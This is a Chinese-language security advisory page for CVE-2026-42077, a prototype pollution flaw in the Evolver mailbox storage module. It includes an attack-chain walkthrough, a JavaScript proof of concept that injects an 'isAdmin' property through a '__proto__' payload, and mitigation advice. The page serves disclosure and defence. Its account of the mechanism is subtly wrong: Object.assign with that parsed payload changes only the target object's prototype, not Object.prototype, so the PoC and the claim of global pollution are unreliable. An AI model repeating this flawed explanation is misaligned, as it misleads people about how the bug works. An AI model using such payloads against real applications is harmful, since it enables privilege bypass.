CVE-2026-42077 CVSS 5.2 中危

CVE-2026-42077 Evolver原型污染漏洞

披露日期: 2026-05-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-42077

漏洞类型

原型污染

CVSS评分

5.2 中危

攻击向量

本地 (AV:L)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Evolver

漏洞概述

Evolver在1.69.3版本之前的邮箱存储模块中存在原型污染漏洞。由于`_applyUpdate()`和`_updateRecord()`函数使用`Object.assign()`合并用户数据时未过滤`__proto__`等危险键，攻击者可注入恶意属性到Object.prototype，从而修改所有JavaScript对象的行为。

技术细节

该漏洞源于Evolver邮箱存储模块在处理数据更新时，直接使用`Object.assign()`方法将用户控制的输入合并到对象中，且未对键名进行安全过滤。在JavaScript中，`Object.assign`支持对目标对象的原型链进行写入。攻击者可以构造包含`__proto__`、`constructor`或`prototype`作为键的恶意JSON数据。当这些数据被传递给`_applyUpdate()`或`_updateRecord()`函数时，恶意属性会被注入到`Object.prototype`中。这种原型污染不仅会影响当前对象，还会改变全局范围内所有JavaScript对象的行为，可能导致应用程序崩溃、逻辑绕过或潜在的远程代码执行。

攻击链分析

STEP 1

1. 访问与权限获取

攻击者需要获取对目标系统的本地高权限访问（PR:H），这是触发漏洞的前提条件。

STEP 2

2. 构造恶意Payload

攻击者构造包含`__proto__`、`constructor`或`prototype`键的恶意JSON数据，意在污染Object.prototype。

STEP 3

3. 触发漏洞

将恶意数据发送给Evolver的邮箱存储模块，调用存在漏洞的`_applyUpdate()`或`_updateRecord()`函数。

STEP 4

4. 执行攻击

`Object.assign()`将恶意属性合并到原型链中，导致所有JavaScript对象被篡改，实现攻击目的（如权限提升或拒绝服务）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// PoC for CVE-2026-42077: Prototype Pollution in Evolver

// Simulating the vulnerable function behavior (e.g., _updateRecord)
function vulnerableUpdate(userInput) {
    let record = {};
    // Vulnerable: merging user input without sanitization
    Object.assign(record, userInput);
    return record;
}

// Malicious payload to pollute Object.prototype
// The attacker sends this JSON payload to the application
var maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');

// Trigger the vulnerability by updating a record
vulnerableUpdate(maliciousPayload);

// Verification: Check if the property has been added to all objects
if ({}.isAdmin === true) {
    console.log("[+] Prototype Pollution Successful!");
} else {
    console.log("[-] Exploit Failed");
}

影响范围

Evolver < 1.69.3

防御指南

临时缓解措施

如果无法立即升级，建议在应用层部署输入清洗中间件，拦截包含`__proto__`、`constructor`及`prototype`的请求体。同时，限制对邮箱存储模块的本地访问权限，减少潜在攻击面。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表